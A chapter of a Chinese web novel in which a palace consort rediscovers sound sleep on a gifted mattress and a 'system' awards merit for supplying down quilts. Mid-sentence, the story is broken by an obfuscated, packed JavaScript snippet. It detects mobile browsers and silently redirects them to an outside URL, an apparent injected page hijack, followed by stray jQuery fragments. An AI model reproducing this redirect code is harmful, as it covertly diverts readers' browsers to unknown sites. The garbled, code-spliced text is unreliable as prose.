“爹爹,我的拨浪鼓。”八公主大清早兴致勃勃地来到了飞羽宫,她想玩小时候的玩具。 “去找八公主的拨浪鼓。”陆青钰吩咐下去。 宫女们找了许久还是不见人影,他干脆带着公主去库房里找,库房里有一堆杂物,皇上送的厚厚床垫就摆在地上。 在架子最上方的筐篓里终于找见那个木制小玩意,他递给八公主,“玩去吧。” 八公主旋风一样跑了出去。 陆青钰踩在板凳上将竹筐推回去,下来的时候没有踩稳,一不小心滑脱了,跌了下来。 他反应很快,摔倒的时候就意识到自己可能会狠狠地接触地面,于是闭了闭眼睛。 “咚。”他落入一个柔软的……垫子上。 睁开眼,他发现自己脸朝下,完完全全地跌到了皇上送的床垫上。 仿佛无数双柔软的手托举着他,他不知道怎么形容这种感觉,轻飘飘的,自己好像要飞起来了。 他翻了个身,让自己平躺在这个垫子上,然后就睡了过去。 等他再醒来,是第二天的早晨。 他就这样连续睡了一个白天和一个晚上! 从库房的床垫上坐起来,一种由内而外的舒适席卷而来,简直太幸福了。 久违的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021024|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡眠回来了,整个世界都变得清晰。 他从来没想过自己竟然能够在库房这种地方睡觉,起来第一件事就是吩咐宫人把这个垫子和寝具换一下,这样睡觉的高度还是一样的。 神清气爽地处理宫中的大事小情,他没想到自己竟然效率爆棚,往常需要三天才能看完的账本一个上午就看完了。 他亲自和□□公主吃了午膳,亲自炖了汤给皇上送过去,皇上还夸他气色好。 真是人逢喜事精神爽。 他得让尚寝局给各宫都配上垫子。 * 【恭喜宿主完成“增加太上皇睡眠幸福度”任务,功德增加2000点。】 【恭喜宿主完成“增加凤君睡眠幸福度”任务,功德增加2000点。】 【恭喜宿主完成“增加皇上睡眠幸福度”任务,功德增加2000点。】 【恭喜宿主完成“置换宫人羽绒被50条”任务,功德增加10000点。】 有了功德点,柳宛东不断地在网上下单羽绒被,每天早上起床就是找个偏僻角落收快递、拆快递,宫中各个司局的女官们的被子都被换成了新的。 孙儒的感冒还是缠绵,不见好转。 她这两天身子相当沉重,总感觉浑身发冷。好在宛东总在一旁照看,早上又喝了宛东给的一碗药,说是叫什么“感冒冲剂”的,她又昏昏沉沉地睡了过去。 但是睡不安生,总想蜷缩着,这被子实在太薄了。迷糊中感觉有人把被子撤走了,她伸出手正想抓住被子,一个更厚更柔软的被子盖了上来。 好软好暖。她有一瞬间开始怀疑,自己是不是来到了传说中的地府。 难道地府是这样的舒坦,让她整个人都像是回到了母亲的怀抱,被温暖烘烤着。 她舒坦的睡到了第二天早晨,鼻塞好了,头痛也好了。 她身上赫然盖着一床厚实的被子。 她摸了摸,这被子柔软,里面不知道填充了什么,非常轻,非常暖。 她心里一惊,自己怎么会盖上这么好的被子?难道是宛东去哪里顺的? “你醒了?再吃两片药。”柳宛东把从淘宝上买的胶囊递了过来。孙儒看也没看就吞了下去,这几天相处她已经完全相信宛东了。 “你这被子,你是从哪里拿的?”